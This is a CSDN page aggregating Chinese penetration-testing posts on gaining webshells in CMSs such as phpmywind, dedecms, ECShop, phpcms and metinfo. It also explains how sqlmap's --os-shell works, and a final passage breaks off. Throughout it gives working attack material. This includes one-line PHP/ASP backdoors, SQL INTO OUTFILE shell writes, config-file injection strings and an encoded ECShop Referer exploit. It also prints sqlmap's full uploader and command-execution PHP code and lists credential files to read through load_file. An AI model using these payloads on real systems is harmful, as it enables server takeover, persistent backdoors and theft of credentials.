phpmywind拿shell_phpmywind 表 - CSDN
精华内容
参与话题
  • 0x0 前言 ...现在要从后台入手,进而getshell,提权 0x1 文件上传getshell 1. 修改上传类型 已经成功登陆了后台,管理员权限相对普通用户要高的多,所以可设置的地方也会变多。利用这些设置,可以进...

    0x0 前言

    通过留言处的xss,我们可以得到管理员的cookie,进而登陆后台:

    https://www.cnblogs.com/Rain99-/p/10701769.html

    现在要从后台入手,进而getshell,提权

    0x1 文件上传getshell

    1. 修改上传类型

    已经成功登陆了后台,管理员权限相对普通用户要高的多,所以可设置的地方也会变多。利用这些设置,可以进一步的尝试获取服务器的权限。

    打开网站系统管理-网站信息配置-附件设置,我们可以看见后台可设置上传图片的类型,在上传图片类型后面加上|php |,注意php后面有空格,提交。后台会保存变量并更新配置文件。

     

     

    上传图片时,服务器会重命名并在文件名后添加后缀,空格用来截断自动添加的后缀名的。

    接下来就找图片上传,打开左下角的帮助与更新功能,点击上传新文件,即进入后台的上传功能。

    2.上传木马

    上传一句话木马

     

     

    直接上传会失败,所以需要burp抓包修改

     

     

    Burp抓包后,在password.php后加上一个空格,即”password.php ”

     

     

    上传成功,返回php路径

     

     

    访问此路径,能访问,说明上传和访问都没问题

     

     

    3.菜刀连接拿到webshell

     

     

    0x2提权

    在菜刀命令行界面添加管理员和管理权限

     

     

    2003看提权效果

     

    0x3 参考资料

    http://www.atomsec.org/%E5%AE%89%E5%85%A8/phpmywind%E5%AD%98%E5%82%A8xss%E6%BC%8F%E6%B4%9E-cve-2017-12984/

     

    转载于:https://www.cnblogs.com/Rain99-/p/10702099.html

    展开全文
  • GETSHELL学习总结

    2020-06-29 00:23:25
    后台拿shell 上传、数据库备份、配置插马 关于各种带有漏洞的应用以及OWASP Top10常规漏洞需要不断的积累,打造自己的核心的知识库,道路且长。本文仅记录最近对常见cms后台getshell的学习总结 网站getshell方法 1....

    分类

    带有漏洞的应用

    redis 、tomcat、解析漏洞、编辑器、FTP

    常规漏洞

    sql注入、上传、文件包含、命令执行、Struts2、代码反序列化

    后台拿shell

    上传、数据库备份、配置插马

    关于各种带有漏洞的应用以及OWASP Top10常规漏洞需要不断的积累,打造自己的核心的知识库,道路且长。本文仅记录最近对常见cms后台getshell的学习总结

    网站getshell方法

    1.数据库备份拿shell
    如果网站后台具有数据库备份功能,可以将webshell格式先修改为允许上传的文件格式如jpg,gif等。然后找到上传后的文件路径,通过数据库备份,将文件备份为脚本格式。

    2.上传
    上传是拿shell最常见的方式,不区分web前后台,有上传的地方均需尝试上传。常见的上传绕过方法:

    • 本地js验证上传
    • 服务器mime绕过
    • 服务器文件头绕过
    • 服务器 filepath上传
    • 双文件上传
    • %00截断上传
    • 上传其他脚本类型

    3.修改允许上传类型
    进入网站后台后找到上传点发现对上传有白名单限制,正好又可以添加白名单,可以将脚本格式写入白名单然后进行上传。如果容器允许的情况下,尝试上传与网站源码不同类型的脚本格式拿shell

    4.服务器解析漏洞

    • IIS 5.x/6.0解析漏洞

      • 目录解析:x.asp/1.jpg
      • 分号解析:x.asp;.jpg会被解析asp格式
      • 其他文件名:cer,asa,cdx…
    • IIS 7.0/IIS 7.5/

      • 畸形文件名解析:test.jpg/*.php
    • Nginx

      • -畸形解析漏洞 :test.jpg/*.php(Nginx版本无关,只与配置环境有关)
      • <8.03空字节代码执行漏洞 :test.jpg%2500.php
    • Apache解析漏洞

      • Apache解析文件的时候是按照从右向左的方式,test.php.aaa.sss,Apache无法解析.aaa.sss,向左解析到.php,于是test.php.aaa.sss就被解析为php文件

    5.编辑器
    低版本的ewebeditor、fckeditor编辑器均有漏洞可以利用。或绕过上传或结合解析漏洞

    6. 网站配置插马
    在网站后台的一些配置接口中最终的配置结果会写进网站配置文件,这里通过源码的过滤规则进行闭合语句可以直接将shell写进配置文件从而getshell。注意:网站后台配置插马属于高危操作,如果闭合失败网站将全面崩溃,不建议生产环境下操作。
    例:良精后台配置插马

    #配置文件路径:../inc/config.asp
    #插马语句:"%><%eval request("123")%><%'
    

    在这里插入图片描述连接:http://192.168.1.10:8009//inc/config.asp
    在这里插入图片描述
    7.上传插件
    将shell添加到安装的插件中上传服务器拿shell。典型如wordpress

    8.数据库执行
    通过数据库执行命令导出一句话到网站目录拿shell。此方法需要有数据库写入权限,且知道网站目录
    sqlserver 导出
    SQL server 2005之后就不能导了,因为sp_makewebtask存储过程被取消了

    ;exec%20sp_makewebtask%20%20%27c:\inetpub\wwwroot\ms\x1.asp%27,%27select%27%27<%execut
    

    mysql导出

    版本一

    Create TABLE study (cmd text NOT NULL);
    Insert INTO study (cmd) VALUES('<?php eval ($_POST[cmd]) ?>');
    select cmd from study into outfile 'D:/php/www/htdocs/test/seven.php';
    Drop TABLE IF EXISTS study;
    

    版本二

    use mysql;
    create table x(packet text) type=MYISaM;
    insert into x (packet) values('<pre><body ><?php @system($_GET["cmd"]); ?></body></pre>')
    select x  into outfile 'd:\php\xx.php'
    

    版本三

    select '<?php eval($_POST[cmd]);?>' into outfile 'C:/Inetpub/wwwroot/mysql-php/1.php'
    

    9.文件包含
    可绕过waf拿webshell。借助文件包含躲避waf拦截。一般用来上大马用
    asp 包含代码

    <!--#include file="123.jpg"-->
    #调用的文件必须和被调用文件在同一目录,如果不在同一目录,用下面的语句:
    <!--#include  virtual="文件所在目录/123.jpg"-->
    

    php包含

    <?php
    include('123.jpg');
    ?>
    

    10. 命令执行

    echo ^<^?php @eval($_POST['cmd']);?^>^ > c:\1.php
    
    ^<^%eval request("cracer")%^>^ > c:\1.php
    # 需要知道网站路径
    

    常见cms后台拿shell

    dedecms

    dedecms版本:http://192.168.1.10:8030/data/admin/ver.txt
    默认后台:http://192.168.1.10:8030/dede/

    # dedecms后台一般都被修改不好找,可借助google语法:
    Powered byDedeCMSV57_GBK_SP2 site:xx.com
    

    一、后台文件上传
    进入后台:核心》附件管理》文件式管理器》可直接修改源码或者上传shell
    在这里插入图片描述写马
    在这里插入图片描述连接
    在这里插入图片描述如果目标“文件式管理器”接口被阉割,也许只是单纯的在前端删除了入口。可以修改js调用:

    media_main.php?dopost=filemanager
    #找到任意按钮修改js代码如图,即可再次调用文件管理
    

    在这里插入图片描述如果权限被限制无法上传到upload以外的目录。通过修改名称跨越目录,绕过权限封锁
    在这里插入图片描述

    二、数据库执行拿shell

    后台:系统》sql命令行工具》写shell

    #需要得到网站的物理路径
    select "<?php @eval($_POST[x]);?>" into outfile 'C:\\inetpub\\getshell\\DedecmsV53-UTF8-Final\\DedecmsV53-UTF8-Final\\x.php'
    #dede暴路径方法
    payload:http://xxx.com/plus/feedback.php?aid=1&dsql=xxx
    

    写shell
    在这里插入图片描述连接
    在这里插入图片描述

    南方数据、良精、动易

    一、数据库备份(备份图片马、备份数据库)
    系统管理》数据库备份页面经常被删除,需要修改js重新调用数据库备份页面

    manage_backup.asp
    

    在这里插入图片描述
    在这里插入图片描述
    1.上传图片马
    产品管理》添加产品》上传图片马
    在这里插入图片描述
    2.审查元素,找到图片马路径
    如:http://192.168.1.10:8009/UploadFiles/1.jpg

    3.开始备份
    在这里插入图片描述
    注意点:
    1.如果附加了asa无法访问,尝试删除asa访问。解析即可。
    2.如果出现文件头为database、jet db。表示实际备份的还是数据库,我们提交的图片马并没有备份到。这里尝试添加管理员将shell写进数据库。然后再备份即可。这如果长度有限制,可以在审查元素修改maxlength或者抓包
    3.如果数据库路径…/Databases/0791idc.mdb框无法修改。尝试审查元素或者burp改包
    4.备份目录不用管

    二、配置插马

    三、修改上传类型突破上传
    在这里插入图片描述四、双文件突破上传

    五、修改editor/admin_style.asp

    ecshop

    1.sql语句写shell

    #报错获取网站物理路径
    use mysql;
    #写shell
    select "<?php phpinfo();?>" into outfile 'C:\\inetpub\\getshell\\8103-ECShop\\ECShop_2.7.4_UTF8_beta1\\upload\\x.php'
    

    在这里插入图片描述2.修改文件
    库项目管理》配送方式
    在这里插入图片描述
    连接:http://192.168.1.10:8103/myship.php

    3.前台getshell
    http://192.168.1.10:8103/user.php》刷新抓包》发送repeater:

    exp:
    Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}
    

    在这里插入图片描述会在网站根目录下生成1.php一句话木马,密码1337
    在这里插入图片描述

    wordpress上传插件

    安装插件》上传插件》插件马(正常插件+大马压缩包)》上传成功

    #插件马位置:
    ./wp-content/plugins/alipay-donate/webshell.php
    

    phpmyadmin写shell

    phpmyadmin 常见路径:phpmyadmin、pma、pmd、pm、phpmyadmin+版本号。或者端口号搭建888/999/8888/777。可尝试爆破登录:

    #写shell语句
    select '<?php eval($_POST[cmd]);?>' into outfile 'D:\SOFT\webbuild\php\WWW\aa.php'
    

    寻找网站根目录
    1.找mysql安装目录

    select @@basedir;
    

    2.根据mysql安装路径推理出apache配置文件(记录了网站根目录)

    ./apache/conf/https.conf
    

    3.使用某个数据库,创建一个表用来读取apache的配置文件

    use mysql;
    create table xx(xx text);
    load data infile "D:\SOFT\webbuild\php\Apache/conf/https.conf" into table xx;
    select * from xx;
    # 在搜索结果里面检索关键词documentroot找到网站根目录
    

    如果有waf会拦截不让导shell
    1.找免杀马
    2.开启外联

    #开外链。将mysql root放在所有地址上并设置密码
    Grant all privileges on *.* to 'root'@'%' identified by '123.com' with grant option;
    #公网地址链接目标mysql服务器
    mysql.exe -h 200.1.1.1 -uroot -p   
    

    3.通过远程地址链接mysql服务器导入一句话

    如果导出函数into outfile 被禁用
    1.生成日志getshell
    genaeral log设置为on,备份genaeral log file路径后修改为我们要导的shell路径。然后执行带有一句话的sql语句写入日志文件,成功getshell。完成后记得还原genaeral log file路径
    在这里插入图片描述备份路径:genaeral log file:D:\SOFT\webbuild\php\MySQL\data\DESKTOP-CCDQEGR.log

    执行:select “<?php phpinfo();?>”
    在这里插入图片描述
    写入成功:http://localhost/xxx.php
    在这里插入图片描述

    #命令行操作:
    set global general_log=on;
    set global general_log_file='shell路径';
    #还原
    set global general_log=off;
    set global general_log_file='D:\SOFT\webbuild\php\MySQL\data\DESKTOP-CCDQEGR.log';
    

    kesion cms

    科迅cms需要使用ie低版本浏览器
    一、添加上传类型
    在这里插入图片描述
    在这里插入图片描述
    这里会回显文件名不合法。但是实际上已经上传成功(部分版本)

    aspcms

    1.插件管理,界面风格修改asp文件

    2.扩展功能,数据库备份

    3.配置插马
    幻灯片设置

    #插马路径
    ./config/aspcms_config.asp
    #语句
    %><%Eval(Request(chr(112)))%><%
    

    在这里插入图片描述

    SD cms

    1.上传设置,添加脚本类型(大小写替换)
    2.界面,模板管理,点击sdcms_index.asp,插入一句话到首页

    phpcms

    1.界面,模板风格,详情列表,修改脚本格式文件

    2.phpsso(没有这个界面的话调用js),系统设置,ucenter设置,插马

    #插马位置
    ./phpsso_server/caches/configs/uc_config.php
    
    #先表单闭合
    name="data[uc_api','11');/*]
    #再插入代码
    */@eval($_REQUEST[TEST]);//
    

    在这里插入图片描述
    连接:
    在这里插入图片描述3.内容,专题,添加专题

    <

    ?php file_put_contents('0.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8+'));?>
    #在根目录下生成0.php,密码cmd
    

    添加专题1
    在这里插入图片描述
    添加专题2
    在这里插入图片描述
    扩展设置,专题模板。value值设置为:

    ../../../../html/special/test000/index
    

    提交,提交完成后会在根目录生成0.php后门文件
    在这里插入图片描述在这里插入图片描述

    metinfo

    1.安装插件getshell

    2.安全》备份与恢复》数据库备份》下载》打开sql文件》合适的地方输入语句:

    select "<?php @eval($_POST[cmd]);>" into oufile 'c:/inetpub/wwwroot/8121/xx.php';
    

    》重新压缩》删除之前备份文件》上传修改之后的数据库备份文件》导入:执行sql语句》生成shell

    3.<6.0,直接访问:

    192.168.1.10:8095/admin/column/save.php?name=123&action=editor&foldername=upload&module=22;@eval($_POST[cmd]);/*
    

    在upload目录下生成index.php的一句话:
    连接:192.168.1.10/upload/index.php
    在这里插入图片描述

    discuz

    管理后台:admin.php
    创始人管理后台:uc_server/admin.php
    

    管理后台:
    1.站长,uccenter设置,插马,待复现。参考
    https://paper.seebug.org/1144/#2-ucketdz

    帝国cms

    1.系统》数据表与系统模型》管理数据表》管理系统模型》导入系统模型》上传1.php.mod》会在当前目录下生成一句话co.php:
    连接:http://192.168.1.10:8111/e/admin/co.php
    在这里插入图片描述2.帝国备份王getshell

    phpmywind

    1.网站信息设置》附件设置,添加允许上传类型getshell
    2.网站信息设置》增加新变量
    在这里插入图片描述
    》提交》基本设置:1;@eval($_POST[a])
    在这里插入图片描述
    》提交>连接:http://192.168.1.10:8112/admin/default.php
    新版本过滤分号无法连接:慎重插马
    在这里插入图片描述

    phpweb

    1.前台直接上传
    https://blog.csdn.net/weixin_44508748/article/details/105671332

    2.后台编辑器
    产品》修改》
    在这里插入图片描述在这里插入图片描述连接:http://192.168.1.12/phpweb/3151/product/pics/20200628/202006281593274850595.php
    在这里插入图片描述---------------------------------------------------------------------------------------------------------------------------------------

    在这里插入图片描述

    展开全文
  • sqlmap os shell解析

    2019-10-29 16:52:46
    最近遇到测试环境,最后利用sqlmap的--os-shell参数取得shell。一直以来,对这个参数的工作原理不是十分的清晰。大致的思想应该是将脚本插入到数据库中,然后生成相应的代码文件,获取shell即可执行命令。 0x01 ...

    0x00 Background

     最近遇到测试环境,最后利用sqlmap的--os-shell参数取得shell。一直以来,对这个参数的工作原理不是十分的清晰。大致的思想应该是将脚本插入到数据库中,然后生成相应的代码文件,获取shell即可执行命令。

     

    0x01 Environment

     本环境是在局域网下利用两台主机搭建的,环境比较真实。
      攻击机:
         系统:windows7
         工具:sqlmap
      靶机:
         系统:windows7
         环境:wamp搭建的apache、mysql和php
         网页源码:phpmywind,此处修改了点源代码,方便进行测试。

     

    0x02 Attack demo

    (1)环境测试

    url:192.168.0.166/php/newsshow.php?cid=4&id=11
    截图:

    (2)攻击

    python sqlmap.py -u http://192.168.0.166/php/newsshow.php?cid=4 --os-shell

    (3)选择语言

    sqlmap默认为php,此处根据需求选择。

    (4)输入绝对路径

    此处因为用wamp搭建,并安装在c盘下。所以选择2选项,输入路径为c:/wamp/www

    (5)建立os-shell并执行命令

     

     

    0x03 Analysis

    (1)抓包

    利用wireshark进行抓包

    (2)第一个url分析

    http://192.168.0.166/php/newsshow.php?cid=4&BWGH%3D3922%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2C2%2C3%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%20..%2F..%2F..%2Fetc%2Fpasswd
    url解码
    http://192.168.0.166/php/newsshow.php?cid=4&BWGH=3922 AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1-- ../../../etc/passwd

    这条语句我认为对于os-shell并没有实际性的作用。

    (3)插入数据

    解析into outfile

    http://192.168.0.166/php/newsshow.php?cid=-6901%20OR%203616%3D3616%20LIMIT%200%2C1%20INTO%20OUTFILE%20%27%2Fwamp%2Fwww%2Ftmpulujm.php%27%20LINES%20TERMINATED%20BY%200x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d5c5c77616d705c5c7777775c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a--%20--%20-
    解析url(除16进制字符)
    http://192.168.0.166/php/newsshow.php?cid=-6901 OR 3616=3616 LIMIT 0,1 INTO OUTFILE '/wamp/www/tmpulujm.php' LINES TERMINATED BY 0x...
    解释:select * from * limit 0,1 into outfile '/wamp/www/tmpulujm.php'的意思是将内容输入到outfile中。
    LINES TERMINATED BY则是into outfile的参数,意思是行结尾的时候用by后面的内容,通常的一般为‘/r/n’,此处我们将by后的内容修改为后面的16进制的文件。

    解析16进制文件

     

    如上图,16进制转换为字符串为:

    #转换后的代码 <?php if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"] v ["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=\\wamp\\www\\> <input type=submit name=upload value=upload></form>";}?> #格式请自行调整

    显然,16进制为php代码。
    先访问以下tmpulujm.php

     

    此处主要实现了向服务器传输文件的一个功能。此处简单看下上述文件php语句进行分析。

    实现的就是上传文件,同时根据phpversion,将上传的文件的权限进行修改。学习到一点就是4.1.0的版本下,可直接执行。

    (4)执行命令

    现在我们已经可以上传文件了,但是仔细考虑一下,sqlmap是提供一个os-shell,我们现在只分析到了可以上传文件的步骤。那接下来,还需要在抓取的数据中进行分析。
    在分析数据包中,我看到一个post数据包,从content中看到此数据包是实现了上传一个类似于cmd的一个php文件。

    从上图可以看到,利用tmpulujm.php上传了一个tmpbtfgo.php的文件。将tmpbtfgo.php的内容截取出来,得到了一段php代码。格式请自行调整。

    <?php 
    $c=$_REQUEST["cmd"];
    @set_time_limit(0);
    @ignore_user_abort(1);
    @ini_set('max_execution_time',0);
    $z=@ini_get('disable_functions');
    if(!empty($z))
    {
        $z=preg_replace('/[, ]+/',',',$z);
        $z=explode(',',$z);
        $z=array_map('trim',$z);}
    else
        {
            $z=array();
            }
    $c=$c." 2>&1\n";
    function f($n)
    {global $z;
    return is_callable($n)and!in_array($n,$z);
    }
    if(f('system'))
    {ob_start();
    system($c);
    $w=ob_get_contents();
    ob_end_clean();
    }elseif(f('proc_open')){
        $y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
        $w=NULL;
        while(!feof($t[1])){
            $w.=fread($t[1],512);
                }
            @proc_close($y);
    }
        elseif(f('shell_exec')){
        $w=shell_exec($c);
        }
        elseif(f('passthru')){
            ob_start();
            passthru($c);
            $w=ob_get_contents();
            ob_end_clean();
            }elseif(f('popen')){
                $x=popen($c,r);
                $w=NULL;
                if(is_resource($x)){
                    while(!feof($x)){
                    $w.=fread($x,512);
                        }
                        }
                        @pclose($x);
                        }elseif(f('exec')){
                            $w=array();
                            exec($c,$w);
                            $w=join(chr(10),$w).chr(10);
                            }else{
                                $w=0;
                                }
                                print "</pre>".$w."</pre>";?>'''

    上述代码实现了os-shell得到了命令后,如何执行命令以及输出执行结果到os-shell中。
    因此我们可以在os-shell中执行命令。

     

    0x04 os-shell的使用

    通过上述的分析,我们知道了sqlmap os-shell参数的用法以及原理。
    很多的人会对os-shell的使用进行吐槽,这是得要多大的权限才能执行。是的,os-shell的执行条件有三个

    (1)网站必须是root权限

    (2)攻击者需要知道网站的绝对路径

    (3)GPC为off,php主动转义的功能关闭

    此处对于中小型企业,如果自己搭建的服务器,例如直接用wamp或者phpnow等快捷方式搭建的服务器,基本上可以满足以上三个条件。
    同时,对于os-shell的用法,很多的小伙伴会吐槽,都他么能上传了,还搞jb的os-shell了。对的,我们可以直接上传大马进行下一步的工作。当然亦可以上传一句话,然后利用菜刀进行连接。
    此处只是对sqlmap工作原理进行了一顿分析。至于利用方式以及攻击手段,当然有很多种,自行发散思维即可。接下来的工作是直接看下sqlmap的源码,才能理解的更为深刻。

     

    展开全文
  • 1 、load_file() Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。 使用条件: A、必须有权限读取并且文件必须完全可读 and (selectcount(*) from mysql.user)>0/* 如果结...

    参考文章:https://www.cnblogs.com/lcamry/p/5505110.html

    1 、load_file()

    Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。
    使用条件:
         A、必须有权限读取并且文件必须完全可读
               and (selectcount(*) from mysql.user)>0/* 如果结果返回正常,说明具有读写权限。
               and (select count(*) from mysql.user)>0/* 返回错误,应该是管理员给数据库帐户降权
        B、欲读取文件必须在服务器上
        C、必须指定文件完整的路径
        D、欲读取文件必须小于 max_allowed_packet

         如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。比较难满足的就是权限,在 windows 下,如果 NTFS 设置得当,是不能读取相关的文件的,当遇到只有administrators 才能访问的文件,users 就别想 load_file 出来。
       在实际的注入中,我们有两个难点需要解决:
                  绝对物理路径
                  构造有效的畸形语句 (报错爆出绝对路径)
    在很多 PHP 程序中,当提交一个错误的 Query(请求),如果 display_errors = on,程序就会暴露
    WEB 目录的绝对路径,只要知道路径,那么对于一个可以注入的 PHP 程序来说,整个服务
    器的安全将受到严重的威胁。
    常用路径:

    WINDOWS下:

    c:/boot.ini //查看系统版本--------(windows的版本不同该文件可能会有变化)

    c:/windows/php.ini //php配置信息

    c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码

    c:/winnt/php.ini

    c:/winnt/my.ini

    c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码

    c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码

    c:\Program Files\Serv-U\ServUDaemon.ini

    c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置

    c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码

    c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此

    c:\Program Files\RhinoSoft.com\ServUDaemon.exe

    C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件

    //存储了pcAnywhere的登陆密码

    c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件

    c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.

    c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机

    d:\APACHE\Apache2\conf\httpd.conf

    C:\Program Files\mysql\my.ini

    C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

    LUNIX/UNIX 下:

    /usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件

    /usr/local/apache2/conf/httpd.conf

    /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置

    /usr/local/app/php5/lib/php.ini //PHP相关设置

    /etc/sysconfig/iptables //从中得到防火墙规则策略

    /etc/httpd/conf/httpd.conf // apache配置文件

    /etc/rsyncd.conf //同步程序配置文件

    /etc/my.cnf //mysql的配置文件

    /etc/redhat-release //系统版本

    /etc/issue

    /etc/issue.net

    /usr/local/app/php5/lib/php.ini //PHP相关设置

    /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置

    /etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件

    /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看

    /usr/local/resin-pro-3.0.22/conf/resin.conf 同上

    /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看

    /etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件

    /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看

    /usr/local/resin-pro-3.0.22/conf/resin.conf 同上

    /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看

    /etc/sysconfig/iptables 查看防火墙策略

    load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录

    replace(load_file(0×2F6574632F706173737764),0×3c,0×20)

    replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

    示例:

    Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109)))
    利用 hex()将文件内容导出来,尤其是 smb 文件时可以使用。


      -1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
      Explain:“char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的 ASCII 代码
      -1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
      Explain:“c:/boot.ini”的 16 进制是“0x633a2f626f6f742e696e69”
      -1 union select 1,1,1,load_file(c:\\boot.ini)
      Explain:路径里的/用 \\代替

    2 、 文件导入到数据库

    LOAD DATA INFILE 语句用于高速地从一个文本文件中读取行,并装入一个表中。文件名称必须为一个文字字符串。


    在注入过程中,我们往往需要一些特殊的文件,比如配置文件,密码文件等。当你具有数据库的权限时,可以将系统文件利用 load data infile 导入到数据库中

    函数具体介绍:对于参数介绍这里就不过多的赘述了,可以参考 mysql 的文档。(提醒:参考文档才是最佳的学习资料)
    示例:load data infile '/tmp/t0.txt' ignore into table t0 character set gbk fields terminated by '\t' lines terminated by '\n'


    将/tmp/t0.txt 导入到 t0 表中,character set gbk 是字符集设置为 gbk,fields terminated by 是每一项数据之间的分隔符,lines terminated by 是行的结尾符。
    当错误代码是 2 的时候的时候,文件不存在,错误代码为 13 的时候是没有权限,可以考虑/tmp 等文件夹。
    TIPS:我们从 mysql5.7 的文档看到添加了 load xml 函数,是否依旧能够用来做注入还需要验
    证。


    3 、 导入到文件


    SELECT.....INTO OUTFILE 'file_name'
    可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有 FILE权限,才能使用此语法。file_name 不能是一个已经存在的文件。
    我们一般有两种利用形式:

    第一种直接将 select 内容导入到文件中:

    Select version() into outfile “c:\\phpnow\\htdocs\\test.php”

    此处将 version()替换成一句话木马,<?php @eval($_post[“mima”])?>

    也即Select <?php @eval($_post[“mima”])?> into outfile “c:\\phpnow\\htdocs\\test.php”

    直接连接一句话就可以了,其实在 select 内容中不仅仅是可以上传一句话的,也可以上传很多的内容。

    第二种修改文件结尾:
    Select version() Into outfile “c:\\phpnow\\htdocs\\test.php” LINES TERMINATED BY 0x16 进制文件。
         解释:通常是用‘\r\n’结尾,此处我们修改为自己想要的任何文件。同时可以用 FIELDS TERMINATED BY
    16 进制可以为一句话或者其他任何的代码,可自行构造。在 sqlmap 中 os-shell 采取的就是这样的方式:

    0x00 Background

     最近遇到测试环境,最后利用sqlmap的--os-shell参数取得shell。一直以来,对这个参数的工作原理不是十分的清晰。大致的思想应该是将脚本插入到数据库中,然后生成相应的代码文件,获取shell即可执行命令。
    

    0x01 Environment

     本环境是在局域网下利用两台主机搭建的,环境比较真实。
      攻击机:
         系统:windows7
         工具:sqlmap
      靶机:
         系统:windows7
         环境:wamp搭建的apache、mysql和php
         网页源码:phpmywind,此处修改了点源代码,方便进行测试。
    

    0x02 Attack demo

    (1)环境测试

    url:192.168.0.166/php/newsshow.php?cid=4&id=11
    截图:

    (2)攻击

    python sqlmap.py -u http://192.168.0.166/php/newsshow.php?cid=4 --os-shell

    (3)选择语言

    sqlmap默认为php,此处根据需求选择。

    (4)输入绝对路径

    此处因为用wamp搭建,并安装在c盘下。所以选择2选项,输入路径为c:/wamp/www

    (5)建立os-shell并执行命令

    0x03 Analysis   分析

    (1)抓包

    利用wireshark进行抓包

    (2)第一个url分析

    http://192.168.0.166/php/newsshow.php?cid=4&BWGH%3D3922 AND 1%3D1 UNION ALL SELECT 1%2C2%2C3%2Ctable_name FROM information_schema.tables WHERE 2>1-- ..%2F..%2F..%2Fetc%2Fpasswd
    url解码
    http://192.168.0.166/php/newsshow.php?cid=4&BWGH=3922 AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1-- ../../../etc/passwd

    这条语句我认为对于os-shell并没有实际性的作用。

    (3)插入数据

    3.1解析into outfile

